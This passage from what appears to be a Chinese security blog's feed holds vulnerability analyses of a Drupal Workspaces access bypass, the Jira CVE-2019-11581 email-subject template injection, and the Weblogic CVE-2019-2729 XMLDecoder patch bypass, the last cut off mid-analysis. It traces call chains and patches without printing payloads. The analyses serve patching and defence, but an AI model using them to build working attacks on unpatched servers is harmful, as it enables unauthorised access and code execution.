&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104412.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Live&lt;/code&gt;下更新是即时的，发布后站点内容立即更新。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块&lt;code&gt;EntityAccess&lt;/code&gt;下。&lt;/p&gt;

&lt;h4 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h4&gt;

&lt;p&gt;当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(&lt;code&gt;EventListener&lt;/code&gt;)的&lt;code&gt;RouterListener&lt;/code&gt;类，在其&lt;code&gt;onKernelRequest()&lt;/code&gt;方法中调用&lt;code&gt;AccessAwareRouter&lt;/code&gt;类的&lt;code&gt;matchRequest()&lt;/code&gt;方法，随后调用&lt;code&gt;AccessManager-&amp;gt;checkRequest()&lt;/code&gt;方法，最后在&lt;code&gt;AccessManager-&amp;gt;performCheck()&lt;/code&gt;方法中通过&lt;code&gt;call_user_func_array&lt;/code&gt;回调对应的操作进入到具体的操作权限检查&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104431.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;例如发布文章时回调的是&lt;code&gt;access_check.node.add&lt;/code&gt;，相关方法在&lt;code&gt;NodeAccessControlHandler&lt;/code&gt;控制器中定义，这个控制器继承自&lt;code&gt;EntityAccessControlHandler&lt;/code&gt;，在父类的&lt;code&gt;createAccess()&lt;/code&gt;方法中回调对应操作的&lt;code&gt;create_access&lt;/code&gt;权限，过程中会拼接上模块名和相应钩子作为回调函数，&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$function = module . &#39;_&#39; . $hook
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;例如此处回调的是&lt;code&gt;workspaces_entity_create_access()&lt;/code&gt;方法，进入到Workspaces中。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在调用&lt;code&gt;entityCreateAccess()&lt;/code&gt;方法时有一个关键操作&lt;code&gt;bypassAccessResult&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104445.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bypassAccessResult()&lt;/code&gt;方法是一个检查用户是否有&lt;code&gt;&amp;quot;绕过节点访问权限(bypass node access)&amp;quot;&lt;/code&gt;的操作，是Workspaces中特有的，这个方法决定了&amp;rdquo;如果用户在各自的激活的工作区中，那么他将拥有所有权限&amp;rdquo;，这里的所有权限指文章相关的增删改操作。&lt;/p&gt;

&lt;p&gt;这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台&lt;code&gt;admin/people/permissions&lt;/code&gt;中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104451.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当开启了&lt;code&gt;Bypass content entity access in own workspace&lt;/code&gt;权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。&lt;/p&gt;

&lt;p&gt;具体分析一下&lt;code&gt;bypassAccessResult()&lt;/code&gt;的实现，整个过程返回的是&lt;code&gt;AccessResultAllowed&lt;/code&gt;对象或者&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象，所谓&amp;rdquo;中立&amp;rdquo;是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是&lt;code&gt;access&lt;/code&gt;和&lt;code&gt;forbidden&lt;/code&gt;的区别：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104457.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先获取了当前激活的工作区，然后通过&lt;code&gt;allowedIf&lt;/code&gt;判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次&lt;code&gt;allowedIfHasPermission&lt;/code&gt;判断，这个方法的作用是，如果权限不对就设置一个&lt;code&gt;reason&lt;/code&gt;，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象，也就是&amp;rdquo;禁止&amp;rdquo;。&lt;/p&gt;

&lt;p&gt;接下来就是出现问题的地方&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$owner_has_access-&amp;gt;orIf(access_bypass);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过补丁可以发现漏洞就修补了这行语句，把&lt;code&gt;orIf&lt;/code&gt;换成了&lt;code&gt;andIf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104509.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为&amp;rdquo;中立&amp;rdquo;的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。&lt;/p&gt;

&lt;p&gt;具体到此次漏洞上的区别如下方图片所示：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;orIf()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104515.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回的是&lt;code&gt;AccessResultAllowed&lt;/code&gt;对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104520.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;andIf()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104525.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回的是&lt;code&gt;AccessResultNeutral&lt;/code&gt;对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104529.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在检查完毕后会回到&lt;code&gt;AccessAwareRouter-&amp;gt;checkAccess()&lt;/code&gt;方法，在该方法中对返回结果进行了判断，&lt;code&gt;AccessResultNeutral&lt;/code&gt;的&lt;code&gt;isAllowed()&lt;/code&gt;返回&lt;code&gt;false&lt;/code&gt;，因此会抛出异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104536.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;返回到页面上则是&lt;code&gt;Access denied&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104542.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。&lt;/p&gt;

&lt;p&gt;相关调用栈为&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Drupal\workspaces\EntityAccess-&amp;gt;bypassAccessResult()

Drupal\workspaces\EntityAccess-&amp;gt;entityCreateAccess()

...

Drupal\Core\Extension\ModuleHandler-&amp;gt;invokeAll()

Drupal\node\NodeAccessControlHandler-&amp;gt;createAccess()

Drupal\node\Access\NodeAddAccessCheck-&amp;gt;access()

Drupal\Core\Access\AccessManager-&amp;gt;performCheck()

Drupal\Core\Routing\AccessAwareRouter-&amp;gt;checkAccess()

Drupal\Core\Routing\AccessAwareRouter-&amp;gt;matchRequest()

Symfony\Component\HttpKernel\EventListener\RouterListener-&amp;gt;onKernelRequest()

...

DrupalKernel.php:693, Drupal\Core\DrupalKernel-&amp;gt;handle()

index.php:19, {main}()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;0x05-总结&#34;&gt;0x05 总结&lt;/h3&gt;

&lt;p&gt;此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal 8.7.4版本，并且需要开启&lt;code&gt;Workspaces&lt;/code&gt;模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级&lt;code&gt;Drupal&lt;/code&gt;版本或者关闭&lt;code&gt;Workspaces&lt;/code&gt;模块以消除漏洞影响。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 17 Jul 2019 10:52:08 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;7月10日，&lt;code&gt;Atlassian&lt;/code&gt;官方发布安全公告，修复了&lt;code&gt;Jira Server&lt;/code&gt;和&lt;code&gt;Jira Data Center&lt;/code&gt;的一个模板注入漏洞，CVE编号&lt;code&gt;CVE-2019-11581&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;公告地址：&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;atlas-debug&lt;/code&gt;调试&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载安装Atlassian SDK，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/&#34;&gt;地址&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-create-jira-plugin&lt;/code&gt;创建一个插件，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;参考&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-debug&lt;/code&gt;开启调试，http端口2990，调试端口5005；&lt;/li&gt;
&lt;li&gt;IDEA打开MyPlugin，把&lt;code&gt;WEB-INF/classes&lt;/code&gt;和&lt;code&gt;WEB-INF/lib&lt;/code&gt;加入library；&lt;/li&gt;
&lt;li&gt;新建Remote调试；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;其他：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果没有设置%JAVA_HOME%可以通过&lt;code&gt;SET JAVA_HOME=d:\jdk1.8&lt;/code&gt;设置；&lt;/li&gt;
&lt;li&gt;默认不开启电子邮件发送，通过&lt;code&gt;atlas-debug --jvmargs -Datlassian.mail.senddisabled=false&lt;/code&gt;开启；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;0x03-漏洞分析&#34;&gt;0x03 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;第一部分-注入代码并生成邮件&#34;&gt;第一部分：注入代码并生成邮件&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246860552.png&#34; alt=&#34;1563246860552&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;post&lt;/code&gt;的数据通过&lt;code&gt;JiraSafeActionParameterSetter-&amp;gt;setActionProperty()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563271320369.png&#34; alt=&#34;1563271320369&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过反射调用到&lt;code&gt;ContactAdministrators.setSubject()&lt;/code&gt;方法，把&lt;code&gt;ContactAdministrators&lt;/code&gt;对象的&lt;code&gt;subject&lt;/code&gt;属性设置为传入的&lt;code&gt;subject&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;随后通过&lt;code&gt;ContactAdministrators.doExecute()&lt;/code&gt;调用&lt;code&gt;send()&lt;/code&gt;方法，在这个方法中会查找系统中已激活的管理员，通过&lt;code&gt;this.sendTo(administrator)&lt;/code&gt;将邮件发送给该管理员&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247236827.png&#34; alt=&#34;1563247236827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;sendTo()&lt;/code&gt;流程中，&lt;code&gt;Jira&lt;/code&gt;需要通过&lt;code&gt;EmailBuilder()&lt;/code&gt;方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发&lt;code&gt;payload&lt;/code&gt;可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以&lt;code&gt;payload&lt;/code&gt;可能会触发多次。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247471810.png&#34; alt=&#34;1563247471810&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建队列的方法有点长，精简一下就是这个样子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;EmailBuilder&lt;/code&gt;的&lt;code&gt;withSubject()&lt;/code&gt;方法，创建一个&lt;code&gt;TemplateSources$fragment&lt;/code&gt;对象，参数即是我们传入的&lt;code&gt;payload&lt;/code&gt;，随后调用&lt;code&gt;renderLater()&lt;/code&gt;方法创建出&lt;code&gt;EmailBuilder&lt;/code&gt;对象，再将该对象作为参数传递给&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;类，&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;的继承关系是如下图，于是最终创建出一个&lt;code&gt;MailQueueItem&lt;/code&gt;对象，并将该对象放入邮件发送队列。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563248388715.png&#34; alt=&#34;1563248388715&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;第二部分-发送邮件&#34;&gt;第二部分：发送邮件&lt;/h4&gt;

&lt;p&gt;当我们把&lt;code&gt;payload&lt;/code&gt;注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：&lt;/p&gt;

&lt;p&gt;通过模板引擎&lt;code&gt;(getTemplatingEngine)&lt;/code&gt;生成一个&lt;code&gt;Velocity&lt;/code&gt;模板，通过&lt;code&gt;applying()&lt;/code&gt;方法生成&lt;code&gt;RenderRequest&lt;/code&gt;对象，之后根据该对象成员变量&lt;code&gt;source&lt;/code&gt;的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。&lt;/p&gt;

&lt;p&gt;首先进入&lt;code&gt;RenderingMailQueueItem().send()&lt;/code&gt;方法，调用&lt;code&gt;this.emailRenderer.render()&lt;/code&gt;，随后调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程中前面是为了获取模板解析引擎&lt;code&gt;（VelocityTemplatingEngine）&lt;/code&gt;并传入主题模板（此处为payload数据），通过&lt;code&gt;applying()&lt;/code&gt;方法创建&lt;code&gt;VelocityContext&lt;/code&gt;对象并把&lt;code&gt;payload&lt;/code&gt;赋值给成员变量&lt;code&gt;source&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563267497538.png&#34; alt=&#34;1563267497538&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后重写了抽象类&lt;code&gt;StringRepresentation&lt;/code&gt;的&lt;code&gt;with()&lt;/code&gt;方法，在&lt;code&gt;with()&lt;/code&gt;方法中调用了&lt;code&gt;asPlainText()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DefaultRenderRequest.this.asPlainText(sw)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;的作用是通过&lt;code&gt;Velocity&lt;/code&gt;模板引擎解析模板，其中的调用链是&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;toWriterImpl()-&amp;gt;writeEncodedBodyForContent()-&amp;gt;evaluate()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在&lt;code&gt;evaluate()&lt;/code&gt;方法中生成了&lt;code&gt;AST&lt;/code&gt;结构，随后通过反射调用传入的&lt;code&gt;payload&lt;/code&gt;，完成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563245970455.png&#34; alt=&#34;1563245970455&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;之后的调用栈如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246607016.png&#34; alt=&#34;1563246607016&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在处理完Object模板后会调用父类&lt;code&gt;SingleMailQueueItem&lt;/code&gt;的send()方法，通过&lt;code&gt;smtpMailServer.sendWithMessageId()&lt;/code&gt;发送邮件，由于没有正确配置&lt;code&gt;SMTP&lt;/code&gt;服务会抛出异常，但在连接&lt;code&gt;SMTP&lt;/code&gt;服务之前漏洞已经触发了，控制台也能看到&lt;code&gt;MailQueue&lt;/code&gt;执行的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563257377543.png&#34; alt=&#34;1563257377543&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;思考&#34;&gt;思考&lt;/h3&gt;

&lt;p&gt;上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题&lt;code&gt;Subject&lt;/code&gt;会被解析成&lt;code&gt;AST&lt;/code&gt;结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成&lt;code&gt;AST&lt;/code&gt;，导致差异的原因是什么？&lt;/p&gt;

&lt;p&gt;发送一封正常的“联系管理员”邮件，走一遍流程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268202907.png&#34; alt=&#34;1563268202907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268493868.png&#34; alt=&#34;1563268493868&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对比一下两个处理流程，当发送正常反馈时，&lt;code&gt;writeEncodedBody()&lt;/code&gt;中调用的是&lt;code&gt;this.getVe().mergeTemplate&lt;/code&gt;，通过&lt;code&gt;Velocity&lt;/code&gt;引擎的&lt;code&gt;ClasspathResourceLoader()&lt;/code&gt;类的&lt;code&gt;getResourceStream()&lt;/code&gt;方法加载模板文件，此处的模板是&lt;code&gt;templates/email/html/contactadministrator.vm&lt;/code&gt;，随后还会进行&lt;code&gt;header&lt;/code&gt;、&lt;code&gt;footer&lt;/code&gt;等正常加载流程，最终渲染出整个页面。而发送&lt;code&gt;payload&lt;/code&gt;时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把&lt;code&gt;source&lt;/code&gt;成员变量赋值为这个&lt;code&gt;Fragment&lt;/code&gt;对象，于是进入第一个分支，调用的是&lt;code&gt;this.getVe().evaluate()&lt;/code&gt;，最终调用&lt;code&gt;ASTMethod.execute()&lt;/code&gt;，这正是前面说的差异性导致的两个不同处理逻辑。&lt;/p&gt;

&lt;p&gt;回过头看一下&lt;code&gt;Velocity&lt;/code&gt;渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的，漏洞利用十分精巧。&lt;/p&gt;

&lt;p&gt;补充：严格意义上讲这不属于一个模板注入漏洞，因为代码并没有“注入”到某一个模板中，漏洞触发过程是在解析模板文件之前，利用的是解析模板的过程，恶意代码并没有真正落地也没有插入到某个模板里面，所以称之为“代码注入”也许更合适。&lt;/p&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&#34;&gt;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 19 Jun 2019 12:26:39 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;h3 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h3&gt;

&lt;p&gt;该漏洞是&lt;code&gt;CVE-2019-2725&lt;/code&gt;的绕过，因此前面的流程都是一样的，经过21个&lt;code&gt;handler&lt;/code&gt;处理，最终进入&lt;code&gt;WorkAreaHeader&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123830.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在4月份&lt;code&gt;oracle&lt;/code&gt;对2725紧急补丁中，过滤了&lt;code&gt;class&lt;/code&gt;元素，因此不能再通过&lt;code&gt;class&lt;/code&gt;创建对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123907.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这次的绕过实际上就是找到另外的元素代替&lt;code&gt;class&lt;/code&gt;进而绕过补丁。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;jdk7&lt;/code&gt;中解析&lt;code&gt;xml&lt;/code&gt;时获取&lt;code&gt;element&lt;/code&gt;元素的相关类为&lt;code&gt;com.sun.beans.decoder.DocumentHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当传入&lt;code&gt;array&lt;/code&gt;标签，进入&lt;code&gt;ArrayElementHandler&lt;/code&gt;，为&lt;code&gt;array&lt;/code&gt;元素添加属性时，只能从&lt;code&gt;length&lt;/code&gt;，&lt;code&gt;class&lt;/code&gt;，&lt;code&gt;id&lt;/code&gt;中选择，唯一能创建类的&lt;code&gt;class&lt;/code&gt;已经加入了黑名单，所以在&lt;code&gt;jdk1.7&lt;/code&gt;下不受此漏洞影响，这次的绕过出现在低于&lt;code&gt;jdk1.7&lt;/code&gt;的&lt;code&gt;java&lt;/code&gt;版本上。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;weblogic 10.3.6.0&lt;/code&gt;自带的&lt;code&gt;jdk&lt;/code&gt;版本为1.6，&lt;code&gt;jdk1.6&lt;/code&gt;中解析xml时有很大的不同，相关处理方法在&lt;code&gt;com.sun.beans.ObjectHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;解析时首先进入的是&lt;code&gt;startElement&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;该方法首先获取元素的属性并创建一个&lt;code&gt;hashmap&lt;/code&gt;，当元素含有属性时，会根据属性值进行类/属性/方法的相关操作，当元素没有属性时，调用的是&lt;code&gt;new&lt;/code&gt;方法，例如解析&lt;code&gt;&amp;lt;java&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;void&amp;gt;&lt;/code&gt;时。而此时如果传入了&lt;code&gt;method&lt;/code&gt;值就会把方法名设置为该值。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123922.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后把方法名设置为我们传入的值，最终通过&lt;code&gt;forName&lt;/code&gt;找到指定的类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123941.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123956.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后的流程就和2725一样的了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/20190620124052.png&#34; alt=&#34;1560635046339&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;WorkContextXmlInputAdapter:readUTF()&lt;/code&gt;后的调用栈&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124309.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;补丁分析&#34;&gt;补丁分析&lt;/h3&gt;

&lt;p&gt;6月19日，&lt;code&gt;Oralce&lt;/code&gt;官方放出了该漏洞的补丁，详情见&lt;a href=&#34;https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;分析一下补丁&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.validateFormat(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在原来&lt;code&gt;validate&lt;/code&gt;过滤的基础上又增加了一次&lt;code&gt;validateFormat&lt;/code&gt;过滤，过滤方法如下&lt;/p&gt;

